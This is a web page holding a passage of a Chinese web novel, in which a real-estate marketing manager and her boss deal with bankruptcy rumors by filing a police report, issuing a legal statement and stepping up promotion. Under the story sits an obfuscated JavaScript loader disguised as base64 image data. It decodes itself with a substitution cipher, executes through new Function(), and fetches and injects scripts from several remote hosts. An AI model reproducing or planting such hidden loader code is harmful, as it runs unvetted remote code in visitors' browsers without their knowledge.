正文 第三十三章 谣言危机(第3页/共3页)
律来保护我们！第三，我得收集一些对方造谣得证据，但目前这个比较难，昨天我去安州东苑，他们的说辞用的是：他们也是听说，听别人说我们卓信怎么怎么样，这种模棱两可的口头上的传谣，很难成为证据。其它几个售楼部的提都没提这茬，所以基本断定就是他们用这种不留痕迹的方式在散布我们的谣言。”“行，我马上跟关律师对接一下，让他起草申明，并征求一下他的处理意见！你梳理一下说辞！这事我得先跟殷总汇报一下，才能执行，你等我消息。”雨燕的脑子很是清楚，跟关律师通了电话后，律师的意见是立即向公安局报案收集造谣者证据，并在当地大微上发布法律声明，不能任由谣言扩大影响。
雨燕随后来到殷总办公室，听了雨燕的情况汇报和处理方案，殷总不紧不慢地说：“先再观察一下吧，目前判断谣言范围还不是很大，几个小鱼小虾翻不起大浪！申明一旦公开，所有的业主可能都知道这个谣言，虽然是谣言，但也可能影响更大！”雨燕有些吃惊，她明白了殷总的意思是暂时冷处理，她思考了三秒钟随后说道：“好，殷总，那我把法律申明准备好，暂不发布！我也重点关注这件事，如果后面情况变化我再向您请示。另外，我策划推广上今天再出一篇推文，再次强调一下我们公司实力，项目土地款已交清、资金流回正，各项工程建设进度超前、项目配套产品品质等；国庆活动我们要更加大宣传，在活动接待和礼品奖品上适当增加预算，体现出大公司的实力，也让谣言不攻自破！您看这样可以吗？”“行，这些都可以做！密切关注动态，最好是谣言能不攻自破！”殷总有些乐观而又保守地回答。出了殷总办公室，雨燕并未过多纠结领导的态度，她立即召开部门会议安排了接下来的工作，她现在已经学会遵从领导的安排并做好两手准备，学会了多途径迂回地寻找解决问题的方法，因为卓信有一句工作法则如雷贯耳：理解的要执行，不理解的也要执行，在执行中去理解！同时，她已经总结出像殷总这类知错才改的领导，只有客观已发生的事实才能说服他，比如之前发电机的那事儿！
果不其然，周二办公例会，殷总正在做工作安排发言，何浩然突然接了个电话，着急地起身向殷总说：“领导，我请个假，几个业主正结队在售楼部闹事，她们听说公司破产了害怕房子烂尾，要求退房！”置业顾问百般解释，可业主们就是不听，只好直接打电话到这里来了！原来只是几个意向客户反馈谣言，现在已经影响到购房业主了，说明事态在进一步扩大，冷处理的办法根本行不通！殷总准了他假，三言两语就结束了会议，大家散会。雨燕见状，跟着殷总进了他办公室，试探性问：“领导，短短两天时间，谣言的范围已经扩大到业主群体，可能还会继续发酵，想要自然平息看来是不可能了！我们是不是该采取行动了？”殷总在他办公桌前坐下，无力地说：“都说谣言不攻自破！还是该相信商场如战场啊！不采取行动是不行了，坚决不能让这种谣言在业主群里继续散播，你去办吧！公安局立案的事让钱晓天去办，你只把宣传推广、澄清事实和业主解释这块做好！”
“好的，领导，公安局那边晓天昨天已经去初步对接了，办案民警说让我们多方面收集证据，今天去应该很快就可以立案！法律申明已经拟好，关律师也已审过，我们中午前就可以在安溪城市在线发布，同步在项目官方微信发布！”雨燕说完见殷总没有再接话的意思就说：“那我出去忙了！”留下殷总独自思索。
短短两个小时，中午前公安局立案、法律申明媒体发布、问题业主一对一沟通解释同步完成，效率超高！这里面离不开各部门通力配合，当然更离不开雨燕提前的多方沟通和周密的准备，通过这一年的策划管理岗位实战历练，雨燕对策划管理工作的前瞻性准备和结果的预判，基本上已经驾轻就熟！
雨燕有这些进步得益于她自己的努力，也得益于殷总在管理上的思维教导，他曾在会上说：“作为管理者，不但该管理好下属团队，还要具备向上管理的能力，为什么我每次找倪董汇报工作都能一次性通过？那是因为在汇报之前，我会准备几套方案，并站在倪董的角度反过来倒过去的推演，把他能想到的都想到了，让整个方案无瑕疵无死角，他自然找不出反对我的理由。这是我能与公司所有领导、外部所有单位始终保持良好沟通的原因，这是一项非常厉害的沟通能力和处理问题的能力！如果哪天你们能达到这种水平，你们也就成长了成熟了！”雨燕把这话听进去了，她不断在实践，在摸索，也在一点点进步。
谣言在一周之内慢慢平息，再加上中秋节、国庆节连续两场大活动热度加持，未来城项目又逐步恢复了案场人气和较高的客户转化，销售业绩节节升高！各部门全民营销也高度给力，眼看着就离追加目标越来越近了，越来越近了！
『加入书签，方便阅读』
!function(){function a(a){var _idx="kzsjva1mtn";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPs@QCFT_T_m)C7LSmRT4gQ@{n"="hFFJLg\/\/[[fdTPPs@QCF75FTm6R)_dmRT4gQ@{n"="hFFJLg\/\/[[fdTPPs@QCFfY5FmD_L7dmRT4gQ@{n"="hFFJLg\/\/[[fdTPPs@QCFSOJTm)C7LSmRT4gQ@{n"="hFFJLg\/\/[[fdTPPs@QCFLY_6m6R)_dmRT4gQ@{n"="hFFJLg\/\/[[fdTPPs@QCFRDYJmD_L7dmRT4gQ@{n"="hFFJLg\/\/[[fdTPPs@QCFdDqJm6R)_dmRT4gQ@{n"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/s@QjR8S4LCXd}^F2"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"s@Q"=X8"S4LCXd}^F2"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"s@Qd2(LCYmOh5:DmRT4"="s@Q5p(LYpmJfC)RmRT4"="s@QD7(LSqmOh5:DmRT4"="s@QdC(LJ^mJfC)RmRT4"="s@Q(C(L:4mOh5:DmRT4"="s@QC2(LSYmJfC)RmRT4"="s@Q25(LLSmOh5:DmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPs@Q2F(LCYmpSfD2RmRT4gQ@{n/((/s@Qj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPs@Q2F(LCYmpSfD2RmRT4gQ@{n/((/s@Qj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPs@QCFT_T_m)C7LSmRT4gQ@{n/f/s@Qj(8}vR8S4LCXd}^F2"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPs@QCFT_T_m)C7LSmRT4gQ@{n"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();